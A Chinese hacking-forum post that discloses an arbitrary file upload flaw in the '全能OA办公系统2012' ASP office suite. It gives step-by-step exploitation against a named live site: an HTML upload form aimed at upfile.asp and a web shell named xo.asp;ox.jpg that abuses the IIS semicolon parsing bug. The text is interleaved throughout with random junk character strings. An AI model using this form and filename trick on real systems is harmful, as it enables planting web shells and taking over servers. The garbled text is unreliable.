全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
$ d3 E9 k' m9 c- l6 [6 d( c1 D! _系统介绍：

全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

3 Y  @" Z% j% Y/ d主要功能：
公司通告
工作计划
7 e# R* m* t/ O% X2 w( J5 F通讯助理
$ r8 i2 ~- z1 p' I. o# ^客户资源
' n# W0 l" u# N6 F7 B+ v3 y我的公文
公文传阅
; Z5 P" z) W# v公共资源
资源预约
8 l) v" e7 l2 G# [1 O1 f0 g5 K今日考勤
8 R5 I- B" _0 _9 ?3 }) t& d: R个人计划
7 P8 O1 ^7 L; J6 ^个人通讯录
个人基本档案
$ ^% v2 W1 Q* m; f未读邮件
' m9 h& u. m( e+ P; N发邮件
收件夹
# z+ i: @4 m) K* ~寄件夹
网络硬盘
网络会议
网络调查
交流论坛

9 v" P' b, k" N/ N" s有兴趣测试的朋友可以下源码看看

源码下载：
) v" d4 V; w# v- D
! M) e3 w( U: s4 p5 V$ R( Whttp://www.mycodes.net/30/4750.htm
# a; }6 x( f3 Z9 G
漏洞介绍：
4 \# `* I3 X( A% h4 h- V* @8 ?
由upfile.asp上传文件漏洞引起
8 ^/ k9 U( `6 \1 H1 A
, H+ _3 H- ^" L7 p4 l; G( m8 `测试方法：
2 g( J8 z, ~$ Y' e, {( j7 V
1 o1 x4 P6 N% j0 x+ z7 N4 ]使用名小子上传http://www.itlynn.com/upfile.asp即可
- s+ H7 p) [! O0 Y& j$ c0 p
如果upfile.asp文件被删除不存在。
* i8 C  B6 D0 m* P/ J6 @
  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

如果存在那么将如下代码保存为upfile.html。
4 T6 E' [  d( t% N
5 n6 @' n" [2 k$ D4 B4 |然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。



01 <table border='0' align="center" cellpadding="5">
9 s: s% B% K1 E; E3 X
& H, k9 k, N1 A, v02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
8 C# e% K  {3 a5 }2 ~
03 <tr>
2 M$ g/ Q" Z7 T/ F
) ^8 I3 A8 w  e6 s& ]3 X* ]04             <td>报错：</td>
$ q( L: E+ Y  f, }& l+ g, n
5 G7 |. X6 F( B0 V05             <td><input type='radio' name='errnumber' value='0'>

06               自动更名

: {, [+ I7 i- ?07               <input type='radio' name='errnumber' value='1' checked>
' t  C( Y2 a2 F- ]! z
% k  ~) `5 r$ ~/ \08               报错方式

09               <input type='radio' name='errnumber' value='2'>
$ |% K! t: V  w
10               直接覆盖</td>

11           </tr>
$ y' y7 L% Z5 c/ K, P
* K+ b$ O  v5 b6 c3 o! T12           <tr>

13             <td>主题：</td>
5 i* v9 O, @% c( H8 E; O# _
. n! A. b+ i6 R14             <td><input type='text' name='filename' size='30'></td>
9 @% ?; f2 k! z" C" v
15           </tr>

1 k  W+ z2 m, R4 q16           <tr>
% g$ K$ f2 @: K: z. k6 Y  g# C  r
17             <td>文件：</td>

5 x3 q, _1 ?- o4 G: j- v18             <td><input type="file"name="fruit"size="30"></td>
0 [! I4 D, D* ]# Y! K8 {
  K, u7 D  Q7 s) @19           </tr>
$ P+ g/ c" [1 a3 }* [% e
6 t8 J  ?9 }  G" s" G  Z6 L2 ^) |  D20           <tr>
4 Z8 ^+ G) S$ S# o8 W6 E
1 z* [* Z- Q; F$ o( W- o21             <td valign='top'>简介：</td>

! `9 ~9 H6 H) v22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

; ?; c5 K) ^  Y23           </tr>

24   

7 O5 C. W/ \) U5 ?+ W) z& \. i; t. ^25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

5 v) ~# ?2 T5 m+ H$ h! i26           </tr>

. r3 q5 C) Y9 U: A4 C9 N27         </form>

然后打开上传一个文件名为xo.asp;ox.jpg的文件。

3 w2 K- f' S+ G$ m, q- N7 F; w

上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

此漏洞需要配合解析漏洞利用。
, ?5 A. N6 _8 O4 V
$ P  h2 E- c; l2 c9 a0 B3 t' Y